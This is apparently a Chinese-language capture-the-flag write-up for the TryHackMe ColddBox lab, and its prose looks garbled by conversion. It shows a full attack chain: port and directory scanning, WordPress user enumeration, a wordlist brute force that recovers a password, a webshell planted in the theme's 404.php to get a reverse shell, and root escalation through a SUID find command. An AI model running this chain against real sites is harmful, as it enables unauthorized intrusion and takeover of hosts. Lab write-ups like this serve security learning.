共计 7018 个字符，预计需要花费 18 分钟才能阅读完成。
免责申明
本文浸透的主机通过非法受权。本文应用的工具和办法仅限学习交换应用，请不要将文中应用的工具和浸透思路用于任何非法用处，对此产生的所有结果，自己不承当任何责任，也不对造成的任何误用或侵害负责。
服务探测
┌──(root💀kali)-[~/tryhackme/ColddBox]
└─# nmap -sV -Pn 10.10.165.236
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 (https://nmap.org) at 2021-11-06 08:22 EDT
Stats: 0:01:28 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
Nmap scan report for 10.10.165.236
Host is up (0.31s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 101.75 seconds
只有一个 http 服务，关上 80 端口首页是一个经典的 wordpress 站点
爆破站点目录
┌──(root💀kali)-[~/dirsearch]
└─# python3 dirsearch.py -e* -t 100 -u http://10.10.165.236
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_|)
Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 100 | Wordlist size: 15492
Output File: /root/dirsearch/reports/10.10.165.236/_21-11-06_08-25-32.txt
Error Log: /root/dirsearch/logs/errors-21-11-06_08-25-32.log
Target: http://10.10.165.236/
[08:25:35] Starting:
[08:26:37] 301 - 0B - /index.php -> http://10.10.165.236/
[08:26:37] 301 - 0B - /index.php/login/ -> http://10.10.165.236/login/
[08:26:40] 200 - 19KB - /license.txt
[08:26:57] 200 - 7KB - /readme.html
[08:26:59] 403 - 278B - /server-status/
[08:26:59] 403 - 278B - /server-status
[08:27:15] 301 - 317B - /wp-admin -> http://10.10.165.236/wp-admin/
[08:27:15] 302 - 0B - /wp-admin/ -> /wp-login.php?redirect_to=http%3A%2F%2F10.10.165.236%2Fwp-admin%2F&reauth=1
[08:27:15] 301 - 319B - /wp-content -> http://10.10.165.236/wp-content/
[08:27:15] 200 - 0B - /wp-content/
[08:27:15] 200 - 69B - /wp-content/plugins/akismet/akismet.php
[08:27:15] 500 - 3KB - /wp-admin/setup-config.php
[08:27:15] 500 - 0B - /wp-content/plugins/hello.php
[08:27:15] 200 - 777B - /wp-content/upgrade/
[08:27:15] 200 - 0B - /wp-cron.php
[08:27:15] 500 - 0B - /wp-includes/rss-functions.php
[08:27:15] 302 - 0B - /wp-signup.php -> /wp-login.php?action=register
[08:27:15] 200 - 0B - /wp-config.php
[08:27:15] 200 - 1B - /wp-admin/admin-ajax.php
[08:27:16] 200 - 1KB - /wp-admin/install.php
[08:27:16] 301 - 320B - /wp-includes -> http://10.10.165.236/wp-includes/
[08:27:16] 200 - 42B - /xmlrpc.php
[08:27:16] 200 - 26KB - /wp-includes/
[08:27:17] 200 - 2KB - /wp-login.php
Task Completed 还是挺多 wp 的根本目录爆进去的，而且存在目录遍历破绽
wpscan 开掘 wp 信息
┌──(root💀kali)-[~/tryhackme/ColddBox]
└─# wpscan --url http://10.10.165.236/
WARNING: Nokogiri was built against libxml version 2.9.10, but has dynamically loaded 2.9.12
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.14
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[i] Updating the Database ...
[i] Update completed.
[+] URL: http://10.10.165.236/ [10.10.165.236]
[+] Started: Sat Nov 6 08:27:50 2021
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://10.10.165.236/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
[+] WordPress readme found: http://10.10.165.236/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://10.10.165.236/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 4.1.31 identified (Insecure, released on 2020-06-10).
| Found By: Rss Generator (Passive Detection)
| - http://10.10.165.236/?feed=rss2, <generator>https://wordpress.org/?v=4.1.31</generator>
| - http://10.10.165.236/?feed=comments-rss2, <generator>https://wordpress.org/?v=4.1.31</generator>
[+] WordPress theme in use: twentyfifteen
| Location: http://10.10.165.236/wp-content/themes/twentyfifteen/
| Last Updated: 2021-07-22T00:00:00.000Z
| Readme: http://10.10.165.236/wp-content/themes/twentyfifteen/readme.txt
| [!] The version is out of date, the latest version is 3.0
| Style URL: http://10.10.165.236/wp-content/themes/twentyfifteen/style.css?ver=4.1.31
| Style Name: Twenty Fifteen
| Style URI: https://wordpress.org/themes/twentyfifteen
| Description: Our 2015 default theme is clean, blog-focused, and designed for clarity. Twenty Fifteen's simple, st...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.0 (80% confidence)
| Found By: Style (Passive Detection)
| - http://10.10.165.236/wp-content/themes/twentyfifteen/style.css?ver=4.1.31, Match: 'Version: 1.0'
[+] Enumerating All Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:13 <========================================================================================> (137 / 137) 100.00% Time: 00:00:13
[i] No Config Backups Found.
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpscan.com/register
[+] Finished: Sat Nov 6 08:28:19 2021
[+] Requests Done: 186
[+] Cached Requests: 5
[+] Data Sent: 45.096 KB
[+] Data Received: 17.49 MB
[+] Memory used: 216.426 MB
[+] Elapsed time: 00:00:29wp 根本信息
确认 wp 版本号是：4.1.31
枚举 wp 用户：wpscan --url http://10.10.165.236 -e -U1-1000
[+] the cold in person
| Found By: Rss Generator (Passive Detection)
[+] c0ldd
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] philip
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] hugo
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
爆破 c0ldd 明码
wpscan --url http://10.10.165.236 -U c0ldd -P /usr/share/wordlists/rockyou.txt
[+] Performing password attack on Wp Login against 1 user/s
[SUCCESS] - c0ldd /9876543210 失去 wp 登录凭证：c0ldd：9876543210
获取初始 shell
登录后盾，在 Apperarance->Editor, 找到 404.php，把 webshell 写进去，保留。
监听。首页拜访一个不存在的页面，触发反弹 shell
┌──(root💀kali)-[~/tryhackme/ColddBox]
└─# nc -lnvp 1234 2 ⨯
listening on [any] 1234 ...
connect to [10.13.21.169] from (UNKNOWN) [10.10.165.236] 39572
Linux ColddBox-Easy 4.4.0-186-generic #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
14:34:17 up 1:13, 0 users, load average: 0.01, 1.77, 2.83
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
提权到 root
user.txt 在 c0ldd 文件夹下，然而以后用户没有查看权限
传 linpeas 发现 find 命令是 SUID，能够间接提权到 root
www-data@ColddBox-Easy:/$ /usr/bin/find . -exec /bin/sh -p \; -quit
/usr/bin/find . -exec /bin/sh -p \; -quit
# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
# whoami
whoami
root曾经拿到 root 权限，因而咱们能够拿到所有 flag
正文完